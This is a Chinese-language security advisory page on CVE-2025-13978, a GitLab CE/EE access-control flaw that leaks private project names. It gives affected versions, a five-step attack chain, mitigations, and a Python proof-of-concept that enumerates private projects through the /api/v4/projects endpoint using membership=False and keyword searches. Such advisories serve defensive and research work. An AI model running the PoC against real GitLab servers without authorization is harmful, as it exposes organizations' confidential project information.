IPBUF安全漏洞报告
English
CVE-2025-13978 CVSS 4.3 中危

GitLab CE/EE 私有项目名称信息泄露漏洞 (CVE-2025-13978)

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-13978
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

信息泄露访问控制失效GitLabAPI安全CVE-2025-13978隐私泄露Broken Access ControlGitLab CE/EE

漏洞概述

CVE-2025-13978是GitLab Community Edition (CE) 和 Enterprise Edition (EE) 中存在的一个信息泄露漏洞。该漏洞影响从17.5版本开始到18.4.6之前的所有版本,以及18.5到18.5.4之前的版本和18.6到18.6.2之前的版本。漏洞源于GitLab API接口的访问控制不当,允许已认证用户通过构造特定的API请求,发现并获取他们原本没有访问权限的私有项目名称。攻击者只需拥有GitLab账户(即使是低权限账户),即可利用此漏洞枚举并获取敏感私有项目的信息,可能导致组织内部项目结构、命名规范等敏感信息泄露。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响信息的机密性。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型的信息泄露问题。在GitLab的API实现中,某些接口在处理项目列表查询时未能正确验证用户对私有项目的访问权限。攻击者可以通过以下方式利用:1) 使用有效账户登录GitLab;2) 构造针对项目发现接口的API请求(如/api/v4/projects或相关端点);3) 利用参数如visibility_level、membership等筛选条件;4) 系统返回的响应中包含了用户无权访问的私有项目名称信息。漏洞的根本原因在于API端点在处理请求时,未对项目可见性进行充分的权限检查,导致认证用户可以枚举出其不拥有的私有项目。攻击者可能通过自动化脚本批量探测,结合项目命名规律推断组织内部项目结构。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先获取有效的GitLab账户凭证,可以是普通用户账户或通过其他方式获得的低权限账户
STEP 2
步骤2: API探测
攻击者使用认证令牌向GitLab API发送请求,访问项目列表接口(如/api/v4/projects)
STEP 3
步骤3: 参数构造
通过构造特定参数(如membership=False或移除权限过滤参数),绕过访问控制检查
STEP 4
步骤4: 信息提取
系统响应中返回了攻击者无权访问的私有项目名称、路径和ID等信息
STEP 5
步骤5: 数据分析
攻击者对收集到的项目名称进行整理分析,推断组织内部项目结构、命名规范和敏感项目位置

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13978 PoC - GitLab Private Project Name Disclosure # This PoC demonstrates how an authenticated user can discover private project names # that they don't have access to through GitLab API import requests import json GITLAB_URL = "https://gitlab.example.com" ACCESS_TOKEN = "your_gitlab_access_token" def discover_private_projects(): """ Discover private project names without proper authorization """ headers = { "PRIVATE-TOKEN": ACCESS_TOKEN, "Content-Type": "application/json" } # Method 1: Using projects API with simple query print("[*] Attempting to discover private projects via API...") # Query for all projects (may leak private project names) url = f"{GITLAB_URL}/api/v4/projects" params = { "membership": False, # Set to False to include non-member projects "per_page": 100, "page": 1 } try: response = requests.get(url, headers=headers, params=params, verify=False, timeout=10) if response.status_code == 200: projects = response.json() print(f"[+] Found {len(projects)} projects (may include unauthorized private projects)") private_projects = [] for project in projects: if project.get('visibility') == 'private': private_projects.append({ 'id': project.get('id'), 'name': project.get('name'), 'path_with_namespace': project.get('path_with_namespace') }) if private_projects: print(f"[!] Discovered {len(private_projects)} private project names:") for proj in private_projects: print(f" - {proj['name']} ({proj['path_with_namespace']})") return private_projects else: print(f"[-] Request failed with status code: {response.status_code}") return [] except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return [] def enumerate_projects_by_search(): """ Alternative method: Search for projects using keywords """ headers = { "PRIVATE-TOKEN": ACCESS_TOKEN } # Common project naming patterns keywords = ["internal", "private", "secret", "config", "admin", "backend", "frontend"] print("\n[*] Attempting project enumeration via search...") discovered = [] for keyword in keywords: url = f"{GITLAB_URL}/api/v4/projects" params = { "search": keyword, "per_page": 20 } try: response = requests.get(url, headers=headers, params=params, verify=False, timeout=10) if response.status_code == 200: results = response.json() for proj in results: if proj.get('visibility') == 'private': discovered.append(proj.get('name')) except: continue if discovered: print(f"[+] Discovered private project names: {set(discovered)}") return list(set(discovered)) if __name__ == "__main__": print("=" * 60) print("CVE-2025-13978 - GitLab Private Project Name Disclosure") print("=" * 60) discover_private_projects() enumerate_projects_by_search() print("\n[*] Note: This vulnerability allows authenticated users to discover") print(" private project names they don't have access to via API.") print("[*] Remediation: Upgrade to GitLab 18.4.6, 18.5.4, or 18.6.2+")

影响范围

GitLab CE/EE 17.5 <= version < 18.4.6
GitLab CE/EE 18.5 <= version < 18.5.4
GitLab CE/EE 18.6 <= version < 18.6.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 审查并限制API访问令牌的权限范围;2) 配置Web应用防火墙(WAF)规则,限制异常的API请求频率;3) 启用GitLab的审计日志功能,监控可疑的API访问行为;4) 考虑对敏感项目使用更严格的访问控制策略;5) 定期审查用户账户和API令牌的使用情况。但最根本的解决方案仍是尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表